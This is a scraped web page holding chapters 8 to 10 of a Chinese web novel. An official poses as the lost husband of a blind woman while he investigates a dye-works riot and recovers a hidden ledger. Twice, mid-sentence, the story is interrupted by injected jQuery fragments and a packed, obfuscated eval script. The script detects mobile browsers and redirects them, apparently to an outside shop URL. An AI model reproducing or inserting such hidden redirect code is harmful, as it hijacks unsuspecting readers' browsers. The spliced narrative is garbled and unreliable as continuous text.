$(''.inform'').remove(); $(''#content'').append('' > 江南三织造这两年来本就状况频发,但如今日这般死了人的却是头一回,也不知赵隆这蠢货做了什么,上赶着把把柄往他手里头送。 八成有什么陷阱在。 他心思百转,心里有了计较。 “备马。” 齐昀吩咐罢,大步流星往外走去 到府衙后,知府长满头大汗在堂上踱步,见他来了,一面擦汗一面道:“齐大人可算来了。” 这案子说起来不复杂。 何家染坊接了苏州制造局一批急货,要在期限内染出足数的丝帛,管事的为了赶工,逼着工匠们没日没夜连轴转,便前前后后累死了六个人。为此上百人扛着扁担锄头涌到染坊门口,砸了门边,掀了染缸,把三个管事的堵在里头活活打死,接着又浩浩荡荡往织造局衙门去。 齐昀面色一沉。 这赵隆当真是贪得无厌,死了人还敢压着消息继续逼工,直到事情闹到不可收拾的地步。 这一议事就是两个多时辰。 从府衙出来天已经黑透了,春雨又淅淅沥沥落下来,街面上湿漉漉的,灯笼的光在水洼里摇摇晃晃。 齐昀上了马车,靠在车壁上闭目养神。 方才赵隆的人也来了,话里话外把责任往染放管事身上推,说织工闹事是刁民作乱,当弹压。知府是个滑头,两头都不想得罪,话说了半箩筐,实际主意一个没有。 他明日得亲自去西塘村走一趟。 齐昀睁开眼,掀开帘子望了望外头的雨幕,吩咐车夫:“转去别院。” —— 春夜寒凉,雨丝细密。 院子里的春海棠被雨打落了大半,粉白花瓣零落一地。空气里浮动着潮湿的花香,混着湿漉漉的泥土腥气。 云香院里只点了一盏灯,灯火透过窗纸,晕成模糊的一团昏黄。 柳絮下午等了又等,等来穗儿传话说爷今夜宿在衙门,不过来了。 她独自用过晚饭,便坐在窗边出神,听着外头雨打芭蕉的声音,许久才摸索着起身。 夜里沐浴过后,她便早早上榻歇息,蜷着身子听雨声,渐渐有了困意。 迷迷糊糊间,胸|脯隐隐作痛起来。 柳絮在半梦半醒里翻了个身,痛意却越发明显,迷迷糊糊伸手探进衣襟按了按,指腹触到几个小疙瘩,胀痛得厉害。 她这才想起来自己癸水要来了。 自从两年前丈夫一去不返,她便添了这毛病,每月癸水来的前五六日,胸|脯便胀痛难忍,摸上去还有小疙瘩。 这等事她羞于启齿,谁也不曾告诉,后来有一回痛得实在难熬,才独自去了趟镇上。大夫诊了脉,说是肝气郁结、胸胁胀痛,给开了方子。 她日子过得紧,吃了几贴觉得不那么痛了便停了药,往后每回发作,只烧些热水用帕子热敷,便能缓和几分,勉强睡个安稳觉。 也许是这几日情绪大起大落,又淋了场雨,寒气入体,气血凝滞,竟比往常发作凶得多。 柳絮忍到三更天,实在有些受不住,轻轻嘶了一声,手撑着床板坐起来,手指探进去触了一下,胀痛难当。 她咬唇坐了一会儿,终于忍不住,摸索着披了件外衫,拿起竹杖,轻手轻脚推开房门。 耳房里值夜的是坠儿,听见动静醒了,揉着眼睛问:“夫人怎么了?” 柳絮不好意思直说,支吾了一下,低声道:“做了场噩梦,出了好些汗,想擦擦脸。” 坠儿便去打了盆热水过来,主动要伺候她擦身。 柳絮连连摇头,接过铜盆便让她去歇着。 坠儿见她坚持,便退出去带上了门。 柳絮凝神细听,确认脚步声远去、外头再无动静,这才摸索着下了床。她又仔细确认了门窗紧闭,方将铜盆置于床边矮几上,将布巾浸入热水中绞得半干。 她侧身坐于床沿,半背对着房门,松开前襟,又把腰后肚|兜的细带扯开,将热布巾敷于胀痛处。 感觉到热意让胀痛稍稍缓解,她轻轻呼出一口气,肩膀松了松。 窗外雨声沙沙,芭蕉叶片被打得噼里啪啦作响。 齐昀穿过垂花门,走上抄手游廊,上头悬着的灯笼被风吹得轻轻摇晃,昏黄的光晕映着廊柱,明灭不定。 他今夜本打算宿在衙门,将西塘村的事安排妥帖,明早卯时便走。但转念一想,还是将柳絮带在身旁为妙。 一来可继续听她说那些旧事,二来也坐实了他那纨绔的名声,愈发不叫人起疑。 云香院在宅子的西角,齐昀一路踏着游廊走,雨打在廊檐上又斜淌下来,乱溅到廊边的草木花叶上。 到地方后,院子里黑沉沉一片,只有正房窗子上透出一点昏黄的光。 齐昀走到院门口,坠儿听见脚步声,猛然惊醒,慌忙站起来:“爷,您来了。” “嗯,她还未安寝?” 坠儿低声道:“夫人方才说做了噩梦出汗,要热水擦脸,奴婢本要在跟前伺候,夫人说不让,打发奴婢出来歇着了。” 齐昀没再说什么,走到正房门前,轻轻推开了屋门。 屋内灯火昏暗,他绕过外间的屏风,走到内间门槛处,正要开口,脚步却骤然一僵。 灯火如豆,昏黄的光线下,柳絮侧坐在床沿半背对着他,半边身子笼在床架阴影里,青丝用簪子松散斜挽,里衣松松垮垮搭在臂弯里,露出和圆润的双肩和一小段雪白纤薄的背,颈后系着条细细的青色带子,柔软的贴着脊沟,悠悠没入衣衫深处。 她微微侧着身,手里拿着块湿布巾按在身前,昏暗中朦胧的山峦侧影随呼吸轻轻起伏,浓密的眼睫半阖,似是困倦,又似是在隐忍什么。 齐昀一下别开视线,转身欲走,肩膀却不慎撞在屏风边沿上。 柳絮敷着敷着已有些困意朦胧,听见动静才惊觉有人来了,慌忙拢住衣衫,侧过脸来,声音里带了几分紧张:“坠儿?” 齐昀本来要走,脚下却鬼使神差地收了回来。 他转回身,一双黑沉的凤目盯着她灯下婉丽的侧脸。 “是我。” 8. 第008章 辨出来人是谁,柳絮脸腾一下红了起来,慌忙彻底背过身去,手忙脚乱去系衣襟系带。 “夫、夫君……你怎的也不出声?” 虽说从前有过更亲密的时候,可那毕竟是两年前。如今阿阭失忆忘了她,两人之间差不多是半个陌生人,她难免感到羞窘。 齐昀敛了心神,踏进内间,拣了床对面方几旁一张圈椅坐下,望着她温顺的侧脸,徐徐道:“我明日一早往西塘村去,你随我同去。” 柳絮一怔,摸到榻边的外衫披在里衣上头,系整了方才慢慢转回身来,面朝着他的方向,犹疑片刻,轻声问:“我不能视物,只怕要给夫君添麻烦。” 齐昀皱了下眉,道:“不会。” 柳絮心里自然是愿意的,能跟阿阭一道出门,总比日日闷在这院子里强,况且路上相处的时辰一长,便可将从前的事慢慢说与他听,兴许哪一句便教他记起什么。 只是这些时日他待她总不见亲近,今日忽然要携她出门,着实有些突然了。 她正犹豫着要不要问,对面的男人已经开了口。 “你成日闷在院子里也不是事。我外出办差,正好带你出去转转。” 柳絮一下由忧转喜,粉唇轻抿露出浅笑:“好,我听夫君的便是。” 齐昀听出她声音里藏不住的那点欢喜,心里笑了声真好哄。 “早些歇下罢,西塘村路远,明日天不亮便要动身,少不得一路颠簸。” 柳絮摸到床畔竹杖,便要起身相送,齐昀出声止住,她便乖乖坐回去,竹杖靠在床沿,双手叠在膝上柔声道:“那我便不送了,夫君早些安寝。” 语气有点客套,齐昀站起身打量她一眼。 她坐在床沿,一头缎子似的青丝松挽,在烛火下泛着光泽,几缕碎发垂在白皙的侧脸,眉眼娴静温柔。 齐昀嗯了声没再多说,走到门口后又突然停了脚步。 “你方才……可是何处不适?” 他只看到她用布巾敷身前某处,猜测可能是那处,或者是心口不适? 柳絮刚退了红的脸又热烫起来,下意识拢紧了外衫,垂着头摇了摇,小声回:“没什么不舒服,这会已经好了。” 屋子里烛火跳跃,她睫毛也跟着轻颤。 齐昀扯了扯唇,脸上浮现不耐的哂意,声音淡淡的:“我虽失忆却也不至于薄待于你,缺什么只管跟婢女要,倘若有何处不适也告诉婢女。” “明日一早会有大夫来请脉,若不宜出行,待调理好了再出门不迟。” 话说得不冷不热,可柳絮听得出是在替她着想,心里不由得阵阵发暖。 她柔顺应道:“多谢夫君,我记下了。” 齐昀推门出去,廊外的雨依旧细细密密下着。 坠儿候在廊下,见他出来忙迎上前,齐昀一面往外走,一面低声吩咐:“明日一早,请了大夫来替她看诊。” 坠儿垂首称是。 他行至院门,忽然脚步一顿,又回头望了一眼那扇已然熄了烛火的窗,多嘱咐了一句:“寻个品性稳重、口风严谨的女大夫。” 坠儿愣了一下,等回过神来,只看见自家爷高大的背影消失在游廊尽头,渐渐融进雨夜里。 —— 翌日东方将泛鱼肚白,云散雨歇,灰青色的天上蒙着层湿漉漉的晨雾。 柳絮早早起身,穗儿刚给她梳妆好,门口另一个婢女彩云便通报说大夫来了。 那大夫出声打了招呼,柳絮听来人是个女子,不觉松了口气。 她移步至桌边坐定,微撩衣袖,露出一截皓白细腕。 女大夫好奇地觑了觑她那双美丽却无神的眸子,这才将手指轻轻搭在腕脉上 柳絮有些紧张,感觉到大夫的手指在腕上细微移动,诊了左手又换右手,中间沉默了好一会儿,屋子里只听得见窗外鸟儿清脆的叫声。 又过了半晌,女大夫才收手。 “据脉象看,夫人左关脉弦,右关稍弱,气结而不得舒展,乃是肝气郁结之候。”她语气温缓,“夫人于月事前后,可是常觉两胁隐胀、胸口闷堵?” 柳絮收回手腕,垂下眼帘,点了点头:“正如大夫所言,敢问这症候可要紧?” “倒还不算要紧,先服一段时日的逍遥散,再善加调养情绪,慢慢便可痊愈了。”女大夫话锋一转,却轻轻叹了口气,“只是……” “请恕冒昧。夫人的眼疾是旧伤所致,还是应当尽早延医诊治才好。” 闻言,柳絮怔住了。 两年前她不知看过多少大夫,人人摇头,都说几乎无望复明,时日一久,她便也不敢再作他想。可今日听这大夫言语之间,仿佛事情尚有转圜余地。 她不禁攥紧了膝上衣料,声音带着小心翼翼的期盼:“听您的意思……是还能治么?” 女大夫又叹息一声。 “若当初受伤便能寻到良医,恐怕早已痊愈了。如今耽搁了两年,已是难上加难。”她坦白道,“我医道尚浅,治不了夫人的眼疾。” 柳絮的心倏地沉了下去,满目失望之态,正要低声道谢,却听那女大夫接着说:“不过我师父于此类旧伤颇有几分把握。只是他眼下不在苏州,往松江府访友去了,总要个把月方能回转。夫人不妨先等一等。” 破灭的希望又燃起一点火星,柳絮难掩激动,细细问了那大夫和其师傅的名姓、坐诊的药堂。女大夫一一说了,她便在心里默念了两遍,牢牢记住,又问了几句调理身子的事,这才起身道谢送大夫出去。 女大夫前脚刚走,齐昀便过来了。他在门口停步,向穗儿问了两句柳絮的情形,得知是何处不适后,侧目看向屋内安静端坐的女人。 穗儿借着话头,又提起柳絮眼睛的事,一面说,一面小心觑着自家爷的脸色。 齐昀缓缓收回视线,神色平淡:“齐三过几日便来别院,自会替她诊治眼疾。” 穗儿听了,心头不免有些纳罕。齐三是爷身边唯一通晓医理的护卫,医术极为精湛,却轻易不肯替外人看诊,原来爷心里早有了打算。 齐昀不再多说,抬脚迈进屋里。 柳絮的眼睛怎么伤的,治起来有多少把握,他早已查得清清楚楚。即便让齐三出手,少说也要一年半载。 到那时候,他恐怕早已利用完这棋子,且没了兴致,治好了也无妨。 柳絮听见脚步声,立时站起身,朝着他来的方向细声说:“夫君,你来了。” “嗯。”齐昀目光在她身上停了停。 藕荷色罗衫衬得她素净纤柔,脸上未施脂粉,唇色粉润。 “去取一顶帷帽来。” 穗儿闻声,赶忙去取了一顶垂着白纱的帷帽,双手奉上:“爷,取来了。” 齐昀接过,便朝柳絮跟前走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496427|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柳絮听见脚步声愈近,最后停在自己面前,鼻尖隐隐嗅到一缕沉水香的气味,接着便听见衣料窸窣之音,似乎是他抬手要替自己戴帽。 哪怕看不到,她也感觉到丈夫身上迫人的气场,光是站在跟前就令人有些透不过气。 柳絮不由自主退了小半步,伸手去够帷帽:“我、我自己来便是……” 一句话还未说全,指尖却倏然触上一片温热。 正是他的手背。 柳絮像被烫了似的倏地把手缩回去,脸又烧了起来。 齐昀看着她那副慌慌张张的模样,轻笑了一声,有意放慢了动作,缓缓替她系好帷帽,目光直直落在她如晕了桃花汁的耳垂与脸颊上。 等帷帽系妥,白纱遮住了她的脸,齐昀才不紧不慢地收回手。 “走吧。” 柳絮在纱后轻轻吁了口气,柔顺应道:“好。” 齐昀率先往外走。 柳絮握着竹杖跟在后面,穗儿在旁边小声提醒着脚下的台阶和门槛。竹杖点在青石板路上,发出清脆的笃笃声,穿过游廊,绕过影壁,一路往大门去。 到了马车跟前,穗儿扶着她登车。 柳絮撩开车帘,便听齐昀在左首道:“坐这边。”她点点头,摸索着坐下了。 马车晃晃悠悠动了起来。 天色将明未明,街上的铺子大多还未开门,只偶尔有三两赶早的菜贩挑着担子经过,脚步声稀稀疏疏。 风从侧帘缝隙钻入,带着雨后草木气息,潮润微凉。柳絮侧耳听着外头的动静,眉眼舒展欣悦。 除了来苏州的那日她在街上走了走,今日还是头回出门。 其实出不出门不重要,重要的是阿阭不嫌她是累赘,愿带她出门。 平日和他相处的时辰甚少,也许这趟出门多相处些时辰,多说说过去的事,他就慢慢想起来了呢? 这些时日面对他的冷淡,柳絮面上从来不显,心里却不可能不难过。她日日夜夜盼着丈夫哪一天能变回从前待她温柔耐心的模样 马车一路走过主街,出了城门。街市的嘈杂渐渐远了,取而代之的是愈发浓郁的草木气息。 行出约莫半刻钟,忽听得外头传来另一辆马车的碌碌声。 那声音由远及近,很快便到了近旁,两车同时停了下来,车夫的声音传进来:“爷,是宋大人。” 齐昀眉头一蹙,先侧头瞥了柳絮一眼,这才伸手掀了车帘。 官道两侧草木葳蕤,晨雾被初升的日头染成了一层薄薄的金纱。 对面马车上坐着个青年,单手撑帘,眉眼清冷如寒冬素雪,正淡漠和他对视。 “齐大人勤勉,天方破晓便出城办差。” 声如其人,清润寒凉。 那声音落入耳中,柳絮浑身一僵,几乎以为自己听错了,脸庞倏地转向声音传来的方向。 齐昀轻嗤了一声:“本官自然勤勉,不过宋大人也不遑多让。” 他声音懒散,带着几分漫不经心的嘲弄。 柳絮听到身旁熟悉的声线,绷紧的肩头稍稍松了些许,可再一回想二人方才的相互称呼,心中又不禁生疑,攥紧了袖口,凝神去听对面那人回话。 宋阭目光穿过齐昀肩头,恰好望见马车内一抹藕荷色的衣衫,显然有些意外,微皱了下眉道: “公差在身,齐大人还有闲情携女眷出行?” 9. 第009章 齐昀听了也不生气,反倒轻笑了一声,眼风略带玩味扫过宋阭,意味深长道: “宋大人若是有此佳人,怕是也会忍不住……想时时带在身侧。” 他故意将话断在暧昧处。 宋阭见对方那玩世不恭的纨绔样,心头一阵憎厌,觉得此人当真死性不改荒唐得紧。 他当下略一拱手,神色疏淡:“下官尚有要事,先行一步,告辞。” 齐昀眼中带着几分恶劣的笑意,漫不经心“嗯”了一声,手指懒懒一松,任由车帘悠悠荡下来。 这蠢货竟眼拙至此,连自己妻子的身形都认不出。 他微微侧过脸,瞥向身侧安静端坐的女子,不怀好意地想,若是有朝一日她得知,心尖上的夫君隔着马车与半透的帷帽都没能认出自己,该是何等伤心欲绝? 不过这便不是他该考量的了,此等俗事与他无干,充其量也不过是个有点新鲜劲儿的乐子。 于他而言,要紧的也唯有朝政罢了。 何氏染坊的东家住在邻县,昨日已羁押入狱。宋阭此番出城,是奉知府之命,往那东家宅中抄检账册;而齐昀要去的,乃是西塘村山坳里的染坊,踏勘现场。 一个搜证,一个亲勘,本就不同路。 齐昀往后靠了一靠,手指在膝上轻轻点了几下。 他与宋阭同日被遣出来,知府那老滑头倒会省事,一碗水端得四平八稳,谁也不得罪。 只是不知赵隆那阉狗,到底要朝哪一边下手? 宋阭也放下了车帘,吩咐车夫赶路。 两辆马车相错而过,恰在此时,一阵晨风穿林而来,裹挟着潮湿的草木气息,掀起了他这一侧的车帘。 宋阭不经意侧过脸,恰见对面车厢的帘子也被风卷起一角,露出道袅娜的身影。 那女子端坐车内,头戴帷帽,白纱被风拂动,若雾般波浪起伏。 只一霎,雪白的下巴尖和一抹嫣红唇色便从纱隙里漏出来,转瞬又被落下的帘子遮得严严实实。 转瞬的一眼,宋阭不知为何心脏像是被什么攥了一把。 他呼吸微微急促,捂住心口,一把掀开车帘往后望去,那车却已拐入岔道,唯余渐行渐远的车尾与晨光里浮沉的尘埃。 行出一段路,那惊鸿一瞥仍萦在心头,叫他心绪不宁。 那女子……如何那般像絮娘? 当即他又否定了这个想法。 不会的,絮娘现在应当还在老家。她眼睛看不见,连出村都难,怎么可能千里迢迢到苏州来?更遑论与齐昀这等纨绔同车。 必是自己连日劳累,看花了眼。 可万一呢? 他有心遣人回乡看上一看,却碍于眼下举手投足皆有人盯着,若叫人窥出他犹未放下发妻,反倒横生枝节。 宋阭缓缓闭了眼,如玉面容上覆了一层寒霜。 现下还不能接她到身边,还要等一等,再耐心等一等,起码等到他在朝中站稳脚跟,真正得到长平侯的信任。 —— 车里重新安静下来,只余马蹄踏在泥地上沉闷的声响。 柳絮安静坐着,风从帘缝里灌进来,带着晨露和青草的凉气,透过帷帽的纱拂在她脸上。 她想着方才那人声音,和阿阭分明像极了。还有阿阭称呼对方为“宋大人”,对方又称丈夫为“齐大人”。 越想心下越难安,她莫名隐隐有种荒谬的猜测,不由得浑身发冷,往身侧之人远处挪了挪。 齐昀在闭目养神,察觉到她的小动作,并未当回事。 柳絮忍了又忍,到底还是没忍住,谨慎小心地开口:“夫君,方才那位……是哪位大人?” 齐昀闻言眼也未睁,随口道:“一个同僚罢了。” “那……他为何称呼您‘齐大人’?” 既然认祖归宗改了宋姓,外头的人怎么还称齐?一样的姓,又如此相似的声线,她怎能不觉得奇怪。 齐昀睁开眼,看了她一眼,隔着白纱只瞧见她微微侧过来的下颌,和紧抿着等回话的一点朱唇。 “我还没正式上族谱。”他早有预料,语调平淡,不慌不急编了个由头,“文籍上仍用的是齐姓,有些人照旧例称呼,也不稀奇。” 柳絮默了一晌,似懂非懂地点了点头。高门大户里头的规矩想必繁琐,改名换姓这种大事,怕是要一层层地办,这解释倒也说得过去。 可那人的声音,委实与阿阭太像了些。 她又问:“夫君,那位宋大人是何官职?” 齐昀道:“七品推官,怎么了?” 这话并非全然是谎话,知府手底下确实有个姓宋的推官。 他顿了顿,故意冷了声线不悦道:“你为何这般好奇一个外男?” 柳絮听出丈夫不高兴了,不敢再多问,摇了摇头沉默下来。 她眼前漆黑,手指卷揪着帕子,脑子里像一团乱麻,总觉得哪里不太对劲,可又似乎处处合理。 细细回忆着方才两人的声音,与两年前的阿阭比起来,确实似乎也都不大一样。 过去的阿阭声线清润如溪流,听得出是很柔和的。 然而身侧这个,音色里多了股懒洋洋的威势,说话时总带着点漫不经心的冷淡,想必是年岁渐长已二十有二,加之做了官的缘故。刚刚那个“宋大人”的声线太过冰冷,无波无澜像是没有任何情感。 若真要说谁的声音更像从前那个阿阭,她觉得,还是身旁这个。 柳絮暗自摇了摇头,心道自己当真是思虑过重了,竟荒谬到去猜疑有人假扮自己的丈夫。 哪个人会这么闲,专门费尽心思去假扮一个盲女的丈夫呢? 除非这人有病。 正胡思乱想,身侧的人忽然开口:“你先前说的红绳与玉坠,究竟是何模样?” 柳絮回过神来,想了想,答道:“红绳倒没什么特别的,就是寻常红线编就。” “玉坠呢?” “是白玉九尾狐,约莫一寸大小,料子极好,通体莹白,只是尾巴尖上有一道极细的裂纹。”说到这里,她声音低了些,“是你从前帮我浣衣,不慎磕在石头上磕坏的。” 齐昀暗自琢磨。以狐狸作护身玉的,委实少见,想必是有什么特殊意义。 他又试探着细问了几句,柳絮却再没说出什么来。 马车又行了一个多时辰,终于到了地方。 柳絮听到车夫跳下车辕的声音。 “爷,到了。” 齐昀掀开车帘看了一眼。 西塘村坐落在两山夹峙的谷地里,这染坊便建在村东头临溪的缓坡上,背靠一片树林,前头是引了山溪水凿成的一条窄渠,用来排废水。 染坊四面围着土夯的高墙,墙头插了碎瓦片,正门贴了知府衙门的朱印封条,十余名差役挎刀守在外头,见了他,立时迎上来行礼。 齐昀跃下马车,对随行的护卫低声吩咐了几句,复又回身撩起车帷,朝里头道:“来,随我一道进去。” 柳絮微微一怔,也不多问,点头应了句“好”,便探出身来。 齐昀主动去扶她。 男人手掌握住她的小臂,掌心的热度隔着一层薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496428|202525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春衫透了过来,柳絮本就有些紧张,下阶时不慎踩住裙摆,身子一绊,轻呼出声往前扑去。 齐昀本来要扯她手臂扶稳,转念间却换用另一只手捞住她的腰,把人直接半抱进了怀里。 面纱随着动作一晃,露出底下一双惊慌的眼,嫣然的唇擦着他的襟口掠过。 他掌中腰肢纤纤,胸|前压过来一团|绵|软,触感分明。 齐昀面上略微不自在,很快松了手,又替她将帷帽扶正,这才稳住微乱的气息,低声道:“可还好?” 一番突如其来的亲近接触,柳絮亦是一阵心慌意乱,红着脸小声应道:“我没事。” 齐昀多看了她两眼,不再多言,执起她的手,领着一干人等往染坊大门去了。 执在掌中的那只手柔若无骨,却不是全然细腻,而是带着点薄茧,正温顺蜷在他掌心里。 齐昀垂下眼,目光在自己握着她的那只手上停了停,又移开了。 两旁差役瞧见这番光景,神色各异,却也不敢多觑,只心里嘀咕还真是个会享受的二世祖,查案还带着个美人儿。 柳絮感觉握着自己手的大掌干燥温热,头顶偶有男人低沉的指路声,心跳愈发紊乱。 胡思乱想间,人已被他牵到了染坊大门口。 有差役上前揭了封条,门板“吱呀”一声推开,一股浓烈刺鼻的靛青气味扑面而来。 “大人,还有这位……夫人,请。” 不等柳絮去分辩那人语调里的怪异,她便被这气味激得微微一窒,被齐昀牵着手踏入了槛内。 —— 另一边。 宋阭至江泽县衙走了一趟,又往何氏染坊东家的宅子里检看了一番,出来时,与江泽知县一干人等用了晌食。 饭后,他独自回到后堂,窗外的日头正暖,斑驳竹影洒在粉墙上轻轻摇曳,春意盎然。 他摒除杂念,翻开案卷文书,一面看,一面提笔蘸墨批注。 正写着,指间那管笔忽地传来极细微的一声轻响。 宋阭笔势顿住,垂目看时,只见笔身上不知何时裂了一道细缝。 他脸色霎时难看。 这管笔乃是成亲头月,絮娘亲手为他制的,他从不离身,保养也算细心,毫颓了便换新的,可这花梨木本该结实,竟无缘无故开了裂。 宋阭怔怔看了好一会,才将笔洗净,用一方帕子卷起收了起来。 再要去看案卷,那纸上的字却一个个飘忽起来,半个也入不了眼。 他起身踱到窗前,竹影在脸上明明灭灭,外头的春光正好,映在他眼里却只余一片冷色。 左思右想之下,他终究还是推门出去,借着要在江泽县“随意逛一逛”的名头,觑机甩脱了长平侯安插在身边的眼线,快步寻了个妥当的信差,往温州方向寄出一封信。 那边有他的人,可替他看看絮娘的近况。 信交出去了,宋阭独自立在街角,阳光斜照,把他的影子拉得又长又淡,一半投在斑驳砖墙上,一半拖在碎石地上,像是今天笔上的那道裂隙。 他静默立了片刻,垂下眼帘,疏冷的面上忽然浮现一抹讽笑。 或是连日太过疲累,他竟为着一个身形相似的女子,再兼一管笔裂了道口子,便这般沉不住气。 今日委实不该这般心浮气躁,这一路上他已经放弃太多,容不得他行差踏错半步。 没有任何事任何人能影响他往上爬。 再者,絮娘也不可能和齐昀那样的公子哥扯上关系。她那么胆怯柔婉,此刻想必还在老家安安分分等他回去。 10. 第010章 染坊占地不广,里头叫工匠们闹过一场,满地狼藉。晾杆横七竖八倒在地上,几口染缸里还浸着半缸坯布,另有数口被砸得粉碎,染料和被打死管事的血被雨水冲得遍地横流,蜿蜒成一道道污浊的痕迹。 齐昀牵着柳絮行至偏廊檐下,安置在一处干净些的角落,嘱咐道:“你在这儿等我。” 柳絮点点头,手背上的温热松开,她下意识便将手缩回袖摆底下,往身侧后放了放。 齐昀本欲迈步下阶,余光瞥见她这个小动作,眉梢一挑,故意笑着补充,“这里头乱糟糟的,不要四处走动。待我将事情办妥当了,再来牵你出去。” 柳絮听见“牵你出去”四个字,除却几分意外,还有点说不清的难为情。 她微微偏过脸,小声答应,“我晓得了,夫君只管去忙。” 白纱遮面,齐昀看不清底下的面颊可有泛红,但他觉得八成是有的,这个女人什么心思都写脸上。 伤心也脸红,羞涩也脸红,窘迫也脸红。 简单直白到近乎有些蠢钝了。 他收回视线,吩咐左右随从去翻找账册,自己环顾了一圈院落,迈过地上一道蜿蜒的污浊,径直朝管事的东厢房走去。 屋子里头亦是一片狼藉。方桌上的杯盏碎裂在地,纸页四散飘零,屏风后的床榻被翻搅得凌乱不堪。 齐昀命随行护卫细细搜检,自己则捡了地上一页纸来看,上头不过是些柴米油盐的流水账,应付官差用的玩意儿。 他并不意外,随手丢了回去。 织工闹事打死管事之后,邻近镇上的衙役很快便将此处封|锁,涉事的一干人等全数羁押进了大牢。赵隆把罪责一股脑儿推到何氏染坊东家头上,东家又推到管事身上,昨日已有衙役奉命来搜过一遭证据,却是一无所获。知府这才分了两路,派他与宋阭各自出城亲勘。 在众人眼里,他不过是个桀骜不驯的纨绔,知府把西塘村染坊这摊子交给他无非是走个过场;而宋阭那个真材实学的侯府公子,自然要担起何氏染坊东家宅院及大牢审讯那样的要紧差事。 来之前,大半的人都觉得他这纨绔子弟翻不出什么有用的东西。 然而实际上他来苏州之前,早已遣了人手快马先行,埋伏在此处盯着赵隆,早查出了不少隐情。 何氏染坊在苏州算不上大户,论规模人脉都不算拔尖。偏就是这样一户不起眼的中等人家,这几年包揽了织造局近两成的坯布染制。赵隆那老阉狗精得很,用这种不大不小的染坊替他干黑活。何氏六个染坊里,西塘村这个建在最偏远的山坳里,离官道码头都远,平日少有人来讨扰。 他事先安插的人虽未能进染坊里头细搜,却从何家一个被撵出府的管事口中套出了些端倪,摸出西塘村染坊的账册是何氏东家内侄亲自经管,从不假手账房。按常理,这种账册毁掉才最干净,赵隆必定也是这般吩咐的。可敢同太监做这等买卖的人,哪个不留一手?定要捏在手里做个把柄,藏在一个谁也寻不着的地方。 他的人顺藤摸瓜,很快查出这内侄同一个女工有私,又连带挖出了些旁的东西。他凭这些杂乱的线索,昨夜便已基本断定,那账本就在染坊之中。 护卫将屋子翻了个底朝天,外头的衙役也细细搜了一遍,依旧毫无所获。 齐昀走出屋子,在院中缓步踱着,目光掠过满地凌乱,最后落在了那几口染缸上。 他抬手指了指,问道:“染缸里头可查过了?” 护卫与衙役们俱是一愣,旋即纷纷摇头。染缸里头有水,怎么可能藏得了东西?就算藏在缸底,也肯定会被工人看见。 齐昀却道:“把染料清了,一口一口挨着查。” 众人依言动起手来,不消片刻便将缸中染料舀空。一个衙役趁大伙儿忙乱之际,悄悄溜了出去。 齐昀只作未见,走上前去逐个检看染缸,结果所有都空空如也。 那群衙役累得够呛,虽嘴上不敢说什么,心里头却个个不以为然,觉得这二世祖没事找事,平白折腾人。 齐昀皱着眉看了一回,又弯腰挨个摩挲敲叩缸壁与缸底,倒数的第三口缸,总算让他摸到了点异样。 这口缸的缸底触感更厚,材质也非纯然陶土,倒像底下衬了一层金属。要砸怕是难行,他命人将缸倒扣过来,以指腹细细摸索,终于寻到一道极细微的缝隙,又问护卫借了匕首,刮去上头沾着的泥垢,沿缝隙缓缓撬开,缸底夹层里赫然躺着一卷油纸包裹的册子。 众人见状齐齐惊疑出声 齐昀取出册子,解开油纸粗粗一翻,果然是账本。 他将东西揣入怀中,不动声色地扫向那群衙役,先前溜出去的那个正缩在角落里站着,料想已报完了信儿。 齐昀心中冷笑,面上波澜不起,视线移向偏廊下的柳絮。 太阳升高,光线斜打在檐下,她面纱被映上一抹金色,正安静柔顺站在那。风一吹藕荷色的裙摆微扬,像是朵盛开的百合。 他心情莫名好了些,转头朝属下吩咐了几句,便抬步朝她走了过去。 柳絮听见脚步声渐近,辨出是他,轻声问:“夫君?” 耳畔响起一声低沉的“嗯”,她还没来得及问是否该回府了,手腕便被隔着衣袖捉住。 “走吧。” 柳絮不自在地动了动手腕,终究没有挣脱,顺从地跟上他的脚步。 上了马车,齐昀主动替她摘下帷帽。 柳絮微微一怔,问:“不必再戴了么?”之前她始终不敢摘,唯恐耽搁丈夫的正经事。 齐昀道:“不必了。” 偏头一瞥,瞧见她唇瓣干涩,这才意识到她在廊下站了许久,连一口水都未曾喝。 他找到了东西,心情颇佳,便难得好心倒了盏茶水,递到她手边,“喝吧。” 柳絮指尖触到瓷杯,小心翼翼地摸索着接过。她记着上回初见时打翻茶水的狼狈窘迫,只敢小心喝了两口。 齐昀看着她这般拘谨的姿态,想起那日他故意倒满茶水的试探,心头忽然就涌上一股说不出的滋味。 他看了一会才收回视线,从怀中摸出账本,翻看起来。 账本上密密麻麻记的全是织造局的往来明细,每条后头都标着日期与经手人名。 其中几个他认得,皆是赵隆身边的亲信。眼下这账册记录的许多笔染项,最终收讫的名目,唯有这几样证据还牵扯不到赵隆本人,怕是不足以一击致命,除非后头另有更要紧的记录。 耐着性子往后翻,翻到去岁一间被查封的布庄,总算看到了些有用的东西。他细细读下去,又翻过一页,眉眼倏地一沉。 中间至关重要的几页被人齐根撕去,夹缝里塞着一张小小的纸条。他拈起来看,上头写着一行字—— “若想要完整的账本,今夜子时来鹂镇百花巷尾。” 齐昀脸色阴沉,把纸条揉了一团。 